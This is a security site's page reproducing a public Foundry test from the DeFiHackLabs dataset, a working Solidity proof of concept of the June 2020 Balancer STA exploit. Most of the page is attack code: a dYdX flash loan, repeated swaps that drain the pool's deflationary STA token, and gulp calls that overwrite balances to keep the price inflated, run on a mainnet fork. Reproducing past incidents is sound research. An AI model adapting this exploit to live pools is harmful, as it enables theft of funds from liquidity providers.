Skip to content
THREATWIRE

Public reproduction file

src/test/2020-06/Balancer_20200628_exp.sol

Public reproduction file for dataset entry Balancer Protocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2020-06/Balancer_20200628_exp.sol234 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.0;
3
4import "forge-std/console2.sol";
5import "forge-std/Test.sol";
6import "../interface.sol";
7
8/*
9Balancer STA Exploit
11Vulnerability principle: The incompatibility issue of deflationary tokens(STA) on Balancer. When users exchange deflationary tokens,
12the contract does not validate the received tokens, leading to incorrect balance records.
14Attackers can exploit this to create price deviations and profit from them. Exploitation process:
151. The attacker borrows a large amount of WETH from DYDX through flash loans.
162. The attacker continuously calls the swapExactAmountIn function to control the amount of STA tokens in the Balancer pool to 1,
17 thereby increasing the price of STA for exchanging other tokens.
183. The attacker exchanges 1 STA for WETH and after each exchange, calls the gulp function to overwrite the STA balance,
19 keeping the price high for STA to WETH exchanges.
204. Repay the flash loan and exit with profits.
22Attack Tx: https://etherscan.io/tx/0x013be97768b702fe8eccef1a40544d5ecb3c1961ad5f87fee4d16fdc08c78106
23*/
25struct AccountInfo {
26 address owner; // The address that owns the account
27 uint256 number; // A nonce that allows a single address to control many accounts
30interface IUniswapV2Router02 {
31 function swapExactTokensForTokens(
32 uint256 amountIn,
33 uint256 amountOutMin,
34 address[] calldata path,
35 address to,
36 uint256 deadline
37 ) external returns (uint256[] memory amounts);
40library Actions {
41 enum ActionType {
42 Deposit, // supply tokens
43 Withdraw, // borrow tokens
44 Transfer, // transfer balance between accounts
45 Buy, // buy an amount of some token (publicly)
46 Sell, // sell an amount of some token (publicly)
47 Trade, // trade tokens against another account
48 Liquidate, // liquidate an undercollateralized or expiring account
49 Vaporize, // use excess tokens to zero-out a completely negative account
50 Call // send arbitrary data to an address
52 }
54 struct ActionArgs {
55 ActionType actionType;
56 uint256 accountId;
57 Types.AssetAmount amount;
58 uint256 primaryMarketId;
59 uint256 secondaryMarketId;
60 address otherAddress;
61 uint256 otherAccountId;
62 bytes data;
63 }
66library Types {
67 enum AssetDenomination {
68 Wei, // the amount is denominated in wei
69 Par // the amount is denominated in par
71 }
73 enum AssetReference {
74 Delta, // the amount is given as a delta from the current value
75 Target // the amount is given as an exact number to end up at
77 }
79 struct AssetAmount {
80 bool sign; // true if positive
81 AssetDenomination denomination;
82 AssetReference ref;
83 uint256 value;
84 }
87interface ISoloMargin {
88 function operate(AccountInfo[] memory accounts, Actions.ActionArgs[] memory actions) external;
91interface BPool {
92 function swapExactAmountIn(
93 address tokenIn,
94 uint256 tokenAmountIn,
95 address tokenOut,
96 uint256 minAmountOut,
97 uint256 maxPrice
98 ) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter);
100 function gulp(
101 address token
102 ) external;
104 function getBalance(
105 address token
106 ) external view returns (uint256);
108 function swapExactAmountOut(
109 address tokenIn,
110 uint256 maxAmountIn,
111 address tokenOut,
112 uint256 tokenAmountOut,
113 uint256 maxPrice
114 ) external;
117contract BalancerExp is Test {
118 address dydx = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
119 address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
120 address sta = 0xa7DE087329BFcda5639247F96140f9DAbe3DeED1;
121 BPool bpool = BPool(0x0e511Aa1a137AaD267dfe3a6bFCa0b856C1a3682);
122 address pancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
123 uint256 public constant BONE = 10 ** 18;
124 uint256 public constant MAX_IN_RATIO = BONE / 2;
126 function setUp() public {
127 vm.createSelectFork("mainnet", 10_355_806);
128 }
130 function testExploit() public {
131 // approve
132 IERC20(weth).approve(dydx, type(uint256).max);
133 IERC20(weth).approve(address(bpool), type(uint256).max);
134 IERC20(sta).approve(address(bpool), type(uint256).max);
135 IERC20(sta).approve(pancakeV2Router, type(uint256).max);
137 emit log_named_decimal_uint(
138 "[Before Attack] Attacker WETH Balance : ", (IERC20(weth).balanceOf(address(this))), 18
139 );
140 emit log_named_decimal_uint(
141 "[Before Attack] Attacker STA Balance : ", (IERC20(sta).balanceOf(address(this))), 18
142 );
144 // attack
145 attack();
147 // check profit
148 emit log_named_decimal_uint(
149 "[After Attack] Attacker WETH Balance : ", (IERC20(weth).balanceOf(address(this))), 18
150 );
151 emit log_named_decimal_uint(
152 "[After Attack] Attacker STA Balance : ", (IERC20(sta).balanceOf(address(this))), 18
153 );
154 }
156 function bmul(uint256 a, uint256 b) internal pure returns (uint256) {
157 uint256 c0 = a * b;
158 uint256 c1 = c0 + (BONE / 2);
159 uint256 c2 = c1 / BONE;
160 return c2;
161 }
163 // take flash loan from dydx
164 function attack() private {
165 AccountInfo[] memory accounts = new AccountInfo[](1);
166 {
167 accounts[0].owner = address(this);
168 accounts[0].number = 1;
169 }
171 Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](3);
172 {
173 uint256 wethAmount = IERC20(weth).balanceOf(dydx);
174 actions[0].actionType = Actions.ActionType.Withdraw;
175 actions[0].amount.value = wethAmount;
176 actions[0].otherAddress = address(this);
178 actions[1].actionType = Actions.ActionType.Call;
179 actions[1].otherAddress = address(this);
181 actions[2].actionType = Actions.ActionType.Deposit;
182 actions[2].amount.sign = true;
183 actions[2].amount.value = wethAmount + 2;
184 actions[2].otherAddress = address(this);
185 }
187 ISoloMargin(dydx).operate(accounts, actions);
188 }
190 function callFunction(
191 address, // sender
192 AccountInfo memory, // accountInfo
193 bytes memory // data
194 ) external {
195 // swap weth to sta
196 bpool.gulp(weth);
197 uint256 MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);
198 bpool.swapExactAmountIn(weth, MaxinRatio - 1e18, sta, 0, 9999 * 1e18);
199 bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);
200 MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);
201 bpool.swapExactAmountIn(weth, (MaxinRatio * 50) / 100, sta, 0, 9999 * 1e18);
202 bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);
203 MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);
204 bpool.swapExactAmountIn(weth, (MaxinRatio * 25) / 100, sta, 0, 9999 * 1e18);
205 bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);
207 for (uint256 i = 0; i < 16; i++) {
208 MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);
209 if ((i + 1) < 9) {
210 bpool.swapExactAmountIn(weth, (MaxinRatio * (i + 1) * 10) / 100, sta, 0, 9999 * 1e18);
211 } else {
212 bpool.swapExactAmountIn(weth, (MaxinRatio * 95) / 100, sta, 0, 9999 * 1e18);
213 }
214 }
216 require(IERC20(sta).balanceOf(address(this)) > 0, "swap weth to sta failed");
218 bpool.swapExactAmountOut(
219 weth, 99_999_999_999 * 1e18, sta, IERC20(sta).balanceOf(address(bpool)) - 1, 99_999 * 1e18
220 );
221 bpool.gulp(sta);
223 // swap sta to weth
224 for (uint256 j = 0; j < 20; j++) {
225 MaxinRatio = bmul(bpool.getBalance(sta), MAX_IN_RATIO);
226 bpool.swapExactAmountIn(sta, 1, weth, 0, 9999 * 1e18);
227 bpool.gulp(sta);
228 }
229 }
231 function donate() public payable {}
233 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Balancer Protocol” (2020-06-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

6 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
Balancer Protocol
Path
src/test/2020-06/Balancer_20200628_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e8f95f9e8dab666372b50e4ac06638c080ee711e
Language
Solidity
Size
235 lines
Date
2020-06-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2020-06/Balancer_20200628_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e8f95f9e8dab666372b50e4ac06638c080ee711e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.